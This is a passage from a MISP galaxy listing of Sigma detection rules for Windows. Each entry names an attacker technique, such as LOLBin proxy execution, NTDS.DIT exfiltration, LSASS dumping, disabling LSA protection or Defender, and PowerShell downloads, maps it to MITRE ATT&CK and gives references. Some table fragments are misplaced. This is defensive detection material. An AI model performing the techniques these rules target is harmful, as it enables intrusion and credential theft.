<td><a href="https://twitter.com/nas_bench/status/1535322450858233858">https://twitter.com/nas_bench/status/1535322450858233858</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/CyberRaiju/status/1273597319322058752">https://twitter.com/CyberRaiju/status/1273597319322058752</a></td>
</tr>
</tbody>
</table>

6520
Proxy Execution Via Explorer.exe

Attackers can use explorer.exe for evading defense mechanisms

The tag is: misp-galaxy:sigma-rules="Proxy Execution Via Explorer.exe"

View relationships graph

Proxy Execution Via Explorer.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10390. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1] <a href="https://twitter.com/CyberRaiju/status/1273597319322058752">https://twitter.com/CyberRaiju/status/1273597319322058752</a></td>
</tr>
</tbody>
</table>

Netsh Allow Group Policy on Microsoft Defender Firewall

Adversaries may modify system firewalls in order to bypass controls limiting network usage

The tag is: misp-galaxy:sigma-rules="Netsh Allow Group Policy on Microsoft Defender Firewall"

View relationships graph

Netsh Allow Group Policy on Microsoft Defender Firewall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 10391. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Renamed Gpg.EXE Execution

Detects the execution of a renamed "gpg.exe". Often used by ransomware and loaders to decrypt/encrypt data.

The tag is: *misp-galaxy: sigma-rules="Renamed Gpg.EXE Execution"*

View relationships graph

Renamed Gpg.EXE Execution has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 10392. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/locked-out/68960/">https://securelist.com/locked-out/68960/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_gpg4win.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_gpg4win.yml</a></td>
</tr>
</tbody>
</table>

Files And Subdirectories Listing Using Dir

Detects usage of the "dir" command that is part of Windows batch/cmd to collect information about directories

The tag is: *misp-galaxy: sigma-rules="Files And Subdirectories Listing Using Dir"*

View relationships graph

Files And Subdirectories Listing Using Dir has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

Table 10393. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1217/T1217.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1217/T1217.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dir_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dir_execution.yml</a></td>
</tr>
</tbody>
</table>

Pubprn.vbs Proxy Execution

Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.

The tag is: *misp-galaxy: sigma-rules="Pubprn.vbs Proxy Execution"*
Pubprn.vbs Proxy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001" with estimative-language:likelihood-probability="almost-certain"

**Table 10394. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
| [https://lolbas-project.github.io/lolbas/Scripts/Pubprn/](https://lolbas-project.github.io/lolbas/Scripts/Pubprn/) | • related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

**Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell**

Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI.

The tag is: misp-galaxy:sigma-rules="Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell"

**Abusing Print Executable**

Attackers can use print.exe for remote file copy

The tag is: misp-galaxy:sigma-rules="Abusing Print Executable"
Abusing Print Executable has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

**Table 10396. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Print/">https://lolbas-project.github.io/lolbas/Binaries/Print/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Oddvarmoe/status/985518877076541440">https://twitter.com/Oddvarmoe/status/985518877076541440</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml</a></td>
</tr>
</tbody>
</table>

**Use of Forfiles For Execution**

Execute commands and binaries from the context of "forfiles". This is used as a LOLBIN for example to bypass application whitelisting.

The tag is: *misp-galaxy:sigma-rules="Use of Forfiles For Execution"

**View relationships graph**

Use of Forfiles For Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

**Table 10397. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Forfiles/">https://lolbas-project.github.io/lolbas/Binaries/Forfiles/</a></td>
</tr>
<tr>
<td><a href="https://pentestlab.blog/2020/07/06/indirect-command-execution/">https://pentestlab.blog/2020/07/06/indirect-command-execution/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious WindowsTerminal Child Processes**

Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)

The tag is: *misp-galaxy:sigma-rules="Suspicious WindowsTerminal Child Processes"

**Table 10398. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1550836225652686848">https://twitter.com/nas_bench/status/1550836225652686848</a></td>
</tr>
<tr>
<td><a href="https://persistence-info.github.io/Data/windowsterminalprofile.html">https://persistence-info.github.io/Data/windowsterminalprofile.html</a></td>
</tr>
</tbody>
</table>
HackTool - Bloodhound/Sharphound Execution

Detects command line parameters used by Bloodhound and Sharphound hack tools

The tag is: `misp-galaxy: sigma-rules='HackTool - Bloodhound/Sharphound Execution'`

View relationships graph

HackTool - Bloodhound/Sharphound Execution has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern='Local Account - T1087.001'` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy: mitre-attack-pattern='Domain Account - T1087.002'` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy: mitre-attack-pattern='Domain Trust Discovery - T1482'` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy: mitre-attack-pattern='Local Groups - T1069.001'` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy: mitre-attack-pattern='Domain Groups - T1069.002'` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy: mitre-attack-pattern='PowerShell - T1059.001'` with estimative-language:likelihood-probability="almost-certain"

Table 10399. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/BloodHoundAD/BloodHound">https://github.com/BloodHoundAD/BloodHound</a></td>
</tr>
<tr>
<td><a href="https://github.com/BloodHoundAD/SharpHound">https://github.com/BloodHoundAD/SharpHound</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_bloodhound_sharphound.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_bloodhound_sharphound.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Shim Database Installation via Sdbinst.EXE

Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims

The tag is: `misp-galaxy: sigma-rules='Suspicious Shim Database Installation via Sdbinst.EXE'`

View relationships graph

Suspicious Shim Database Installation via Sdbinst.EXE has relationships with:
Lolbin Unregmp2.exe Use As Proxy

Detect usage of the "unregmp2.exe" binary as a proxy to launch a custom version of "wmpnscfg.exe"

The tag is: `misp-galaxy:sigma-rules="Lolbin Unregmp2.exe Use As Proxy"

View relationships graph

Lolbin Unregmp2.exe Use As Proxy has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Suspicious Process Patterns NTDS.DIT Exfil

Detects suspicious process patterns used in NTDS.DIT exfiltration

The tag is: `misp-galaxy:sigma-rules="Suspicious Process Patterns NTDS.DIT Exfil"

View relationships graph

Suspicious Process Patterns NTDS.DIT Exfil has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
CMD Shell Output Redirect

Detects the use of the redirection character ">" to redirect information in commandline.

The tag is: *misp-galaxy:sigma-rules="CMD Shell Output Redirect"*

View relationships graph

CMD Shell Output Redirect has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"* with estimative-language:likelihood-probability="almost-certain"

**Table 10403. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ss64.com/nt/syntax-redirection.html">https://ss64.com/nt/syntax-redirection.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml</a></td>
</tr>
</tbody>
</table>

Procdump Execution

Detects usage of the SysInternals Procdump utility.

The tag is: *misp-galaxy:sigma-rules="Procdump Execution"*

View relationships graph

Procdump Execution has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Masquerading - T1036"* with estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"* with estimative-language:likelihood-probability="almost-certain"
**LSA PPL Protection Disabled Via Reg.EXE**

Detects the usage of the "reg.exe" utility to disable PPL protection on the LSA process

The tag is: *misp-galaxy: sigma-rules="LSA PPL Protection Disabled Via Reg.EXE"*

View relationships graph

LSA PPL Protection Disabled Via Reg.EXE has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Downgrade Attack - T1562.010" with estimative-language:likelihood-probability="almost-certain"

**PowerShell Download Pattern**

Detects a Powershell process that contains download commands in its command line string

The tag is: *misp-galaxy: sigma-rules="PowerShell Download Pattern"*

View relationships graph

PowerShell Download Pattern has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
Arbitrary File Download Via MSOHTMED.EXE

Detects usage of "MSOHTMED" to download arbitrary files

The tag is: `misp-galaxy:sigma-rules="Arbitrary File Download Via MSOHTMED.EXE"`

View relationships graph

Arbitrary File Download Via MSOHTMED.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 10407. Table References

Links

- https://github.com/LOLBAS-Project/LOLBAS/pull/238/files
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msohtmed_download.yml

IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

The tag is: `misp-galaxy:sigma-rules="IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI"`

Table 10408. Table References

Links

- https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content
- https://twitter.com/JAMESWT_MHT/status/1699042827261391247
- https://twitter.com/M_haggis/status/1699056847154725107
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_ie_security_zone_protocol_defaults_downgrade.yml

Potential WinAPI Calls Via CommandLine

Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool `winapiexec`
The tag is: *misp-galaxy:sigma-rules*="Potential WinAPI Calls Via CommandLine"

**View relationships graph**

Potential WinAPI Calls Via CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

*Table 10409. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/m417z/status/1566674631788007425">https://twitter.com/m417z/status/1566674631788007425</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_inline_win_api_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_inline_win_api_access.yml</a></td>
</tr>
</tbody>
</table>

**Potential Privilege Escalation Using Symlink Between Osk and Cmd**

Detects the creation of a symbolic link between "cmd.exe" and the accessibility on-screen keyboard binary (osk.exe) using "mklink". This technique provides an elevated command prompt to the user from the login screen without the need to log in.

The tag is: *misp-galaxy:sigma-rules*="Potential Privilege Escalation Using Symlink Between Osk and Cmd"

**View relationships graph**

Potential Privilege Escalation Using Symlink Between Osk and Cmd has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

*Table 10410. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ss64.com/nt/mklink.html">https://ss64.com/nt/mklink.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1546.008/T1546.008.md">https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1546.008/T1546.008.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_osk_cmd.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_osk_cmd.yml</a></td>
</tr>
</tbody>
</table>

**Local Groups Reconnaissance Via Wmic.EXE**

Detects the execution of "wmic" with the "group" flag. Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.
Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

The tag is: `misp-galaxy:sigma-rules="Local Groups Reconnaissance Via Wmic.EXE"`

**View relationships graph**

Local Groups Reconnaissance Via Wmic.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 10411. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6c73742bf365fee2a9/atomics/T1069.001/T1069.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6c73742bf365fee2a9/atomics/T1069.001/T1069.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wmic_recon_group.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wmic_recon_group.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet**

Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet

The tag is: `misp-galaxy:sigma-rules="Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet"`

**View relationships graph**

Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 10412. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_localgroup_member_recon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_localgroup_member_recon.yml</a></td>
</tr>
</tbody>
</table>

**Remote File Download Via Findstr.EXE**

Detects execution of "findstr" with specific flags and a remote share path. This specific set of CLI flags would allow "findstr" to download the content of the file located on the remote share as described in the LOLBAS entry.
Remote File Download Via Findstr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Java Running with Remote Debugging

Detects a JAVA process running with remote debugging allowing more than just localhost to connect

Java Running with Remote Debugging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
Python Spawning Pretty TTY on Windows

Detects python spawning a pretty tty

The tag is: misp-galaxy:sigma-rules="Python Spawning Pretty TTY on Windows"

View relationships graph

Python Spawning Pretty TTY on Windows has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10415. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/">https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml</a></td>
</tr>
</tbody>
</table>

Replace.exe Usage

Detects the use of Replace.exe which can be used to replace file with another file

The tag is: misp-galaxy:sigma-rules="Replace.exe Usage"

View relationships graph

Replace.exe Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 10416. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Replace/">https://lolbas-project.github.io/lolbas/Binaries/Replace/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml</a></td>
</tr>
</tbody>
</table>

Disabled IE Security Features

Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features

The tag is: misp-galaxy:sigma-rules="Disabled IE Security Features"

View relationships graph
Disabled IE Security Features has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 10417. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
| https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-
  new-tidepool-malware/                                              |
| https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process-
  creation/proc_creation_win_powershell_disable_ie_features.yml       |

**Process Proxy Execution Via Squirrel.EXE**

Detects the usage of the "Squirrel.exe" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)

The tag is: misp-galaxy:sigma-rules="Process Proxy Execution Via Squirrel.EXE"

View relationships graph

Process Proxy Execution Via Squirrel.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10418. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/">http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/</a></td>
</tr>
</tbody>
</table>
| http://www.hexacorn.com/blog/2019/03/30/squirrel-packages-manager-as-
  a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/           |
| https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process-
  creation/proc_creation_win_squirrel_proxy_execution.yml            |

**Suspicious New Instance Of An Office COM Object**

Detects an svchost process spawning an instance of an office application. This happens when the initial word application creates an instance of one of the Office COM objects such as 'Word.Application', 'Excel.Application', etc. This can be used by malicious actors to create malicious Office documents with macros on the fly. (See vba2clr project in the references)

The tag is: misp-galaxy:sigma-rules="Suspicious New Instance Of An Office COM Object"

Table 10419. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Indirect Command Execution By Program Compatibility Wizard

Detect indirect command execution via Program Compatibility Assistant pcwrun.exe

The tag is: misp-galaxy:sigma-rules="Indirect Command Execution By Program Compatibility Wizard"

View relationships graph

Indirect Command Execution By Program Compatibility Wizard has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10420. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/">https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/pabraeken/status/991335019833708544">https://twitter.com/pabraeken/status/991335019833708544</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml</a></td>
</tr>
</tbody>
</table>

Tap Installer Execution

Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques

The tag is: misp-galaxy:sigma-rules="Tap Installer Execution"

View relationships graph

Tap Installer Execution has relationships with:


Table 10421. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tapinstall_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tapinstall_execution.yml</a></td>
</tr>
</tbody>
</table>
**Suspicious IIS Module Registration**

Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors

The tag is: `misp-galaxy:sigma-rules="Suspicious IIS Module Registration"`

View relationships graph

Suspicious IIS Module Registration has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004"` with estimative-language:likelihood-probability="almost-certain"

### Table 10422. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/">https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_susp_module_registration.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_susp_module_registration.yml</a></td>
</tr>
</tbody>
</table>

**LOL-Binary Copied From System Directory**

Detects a suspicious copy operation that tries to copy a known LOLBIN from system (System32, SysWOW64, WinSxS) directories to another on disk in order to bypass detections based on locations.

The tag is: `misp-galaxy:sigma-rules="LOL-Binary Copied From System Directory"`

View relationships graph

LOL-Binary Copied From System Directory has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003"` with estimative-language:likelihood-probability="almost-certain"

### Table 10423. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120">https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system_dir_lolbin.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system_dir_lolbin.yml</a></td>
</tr>
</tbody>
</table>
Powershell Base64 Encoded MpPreference Cmdlet

Detects base64 encoded "MpPreference" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV

The tag is: misp-galaxy:sigma-rules="Powershell Base64 Encoded MpPreference Cmdlet"

View relationships graph

Powershell Base64 Encoded MpPreference Cmdlet has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 10424. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AdamTheAnalyst/status/1483497517119590403">https://twitter.com/AdamTheAnalyst/status/1483497517119590403</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_mppreference.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_mppreference.yml</a></td>
</tr>
</tbody>
</table>

Parent in Public Folder Suspicious Process

This rule detects suspicious processes with parent images located in the C:\Users\Public folder

The tag is: misp-galaxy:sigma-rules="Parent in Public Folder Suspicious Process"

View relationships graph

Parent in Public Folder Suspicious Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10425. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/blackbyte-ransomware/">https://redcanary.com/blog/blackbyte-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_from_public_folder_as_parent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_from_public_folder_as_parent.yml</a></td>
</tr>
</tbody>
</table>
New Service Creation Using PowerShell

Detects the creation of a new service using powershell.

The tag is: `misp-galaxy:sigma-rules="New Service Creation Using PowerShell"

View relationships graph

New Service Creation Using PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with `estimative-language:likelihood-probability="almost-certain"

Table 10426. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742b6f365f6e2a9/atomics/T1543.003/T1543.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742b6f365f6e2a9/atomics/T1543.003/T1543.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wi_powershell_create_service.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wi_powershell_create_service.yml</a></td>
</tr>
</tbody>
</table>

OpenWith.exe Executes Specified Binary

The OpenWith.exe executes other binary

The tag is: `misp-galaxy:sigma-rules="OpenWith.exe Executes Specified Binary"

View relationships graph

